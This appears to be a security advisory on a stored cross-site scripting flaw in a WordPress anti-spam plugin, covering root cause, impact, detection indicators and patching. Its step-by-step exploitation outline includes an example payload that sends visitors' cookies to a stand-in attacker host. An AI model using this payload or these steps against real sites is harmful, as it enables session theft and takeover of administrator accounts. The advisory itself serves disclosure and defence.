CVE-2026-16145: 
WordPress vulnerability analysis and mitigation

CVE-2026-16145 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms" WordPress plugin (slug: gdpr-compliant-recaptcha-for-all-forms) by matthiasnordwig. It affects all versions up to and including 5.1, and allows unauthenticated attackers to inject arbitrary web scripts that execute when any user visits an affected page. The vulnerability was published on August 15, 2026, and carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, EUVD).

The root cause is insufficient input sanitization and output escaping of the action parameter processed via WordPress's admin-ajax.php endpoint (CWE-79). The plugin maintains an explicit-actions list — auto-populated at activation with entries for common form builders — and any unauthenticated HTTP request whose action value matches an entry in this list can trigger the vulnerable save path, writing the unsanitized payload to persistent storage. Relevant code paths are visible in the plugin's source at class-message-page.php (line 621) and class-stamp.php (lines 136 and 771) (Wordfence, Plugin Trac).

Successful exploitation allows an unauthenticated attacker to persistently store malicious JavaScript in the WordPress database, which executes in the browsers of any user — including administrators — who visits an injected page. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Wordfence, EUVD).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported at this time. The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the zero-authentication requirement and the broad availability of WordPress sites running this plugin make it an attractive target for opportunistic attackers (EUVD, Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Invisible Anti-Spam & CAPTCHA" plugin (slug: gdpr-compliant-recaptcha-for-all-forms) version ≤ 5.1 using tools like WPScan, Shodan, or by checking /wp-content/plugins/gdpr-compliant-recaptcha-for-all-forms/ for a publicly accessible readme.txt.
2. Enumerate valid action values: Review the plugin's explicit-actions list (populated at activation for common form builders such as Contact Form 7, WPForms, etc.) to identify action parameter values that are accepted by the unauthenticated save path.
3. Craft malicious request: Construct an HTTP POST request to https://target.com/wp-admin/admin-ajax.php with a valid action value from the explicit-actions list and a malicious action parameter value containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Deliver payload: Submit the crafted request without any authentication credentials. The plugin writes the unsanitized payload to the database.
5. Trigger execution: Wait for an administrator or other authenticated user to visit the page where the injected content is rendered. The stored script executes in their browser, enabling session hijacking, credential theft, or further site compromise (Wordfence, Plugin Trac).

• Network: Unexpected or anomalous POST requests to /wp-admin/admin-ajax.php from unauthenticated sources (no valid WordPress session cookie) containing HTML/JavaScript in the action parameter or other form fields; outbound connections from the web server to unknown external IPs following admin page visits.
• Logs: Web server access logs showing POST requests to admin-ajax.php with unusual or encoded action values not associated with normal site activity; error logs referencing plugin files class-message-page.php or class-stamp.php.
• File System / Database: Unexpected JavaScript or HTML tags (e.g., <script>, <img onerror=, javascript:) stored in WordPress database tables associated with the plugin's settings or message storage.
• Process / Browser: Admin users reporting unexpected redirects, pop-ups, or browser behavior when accessing WordPress admin pages or front-end pages protected by the plugin.

The vendor released a patch in changeset 3633500, available via the WordPress plugin repository. Users should update the plugin to version 5.2 or later (the patched release following 5.1) immediately. If an immediate update is not possible, consider deactivating and removing the plugin until patching is feasible, and audit the WordPress database for any stored XSS payloads injected via the plugin's settings tables. Restrict access to wp-admin/admin-ajax.php at the web server or WAF level where operationally feasible (Plugin Trac Changeset, Wordfence).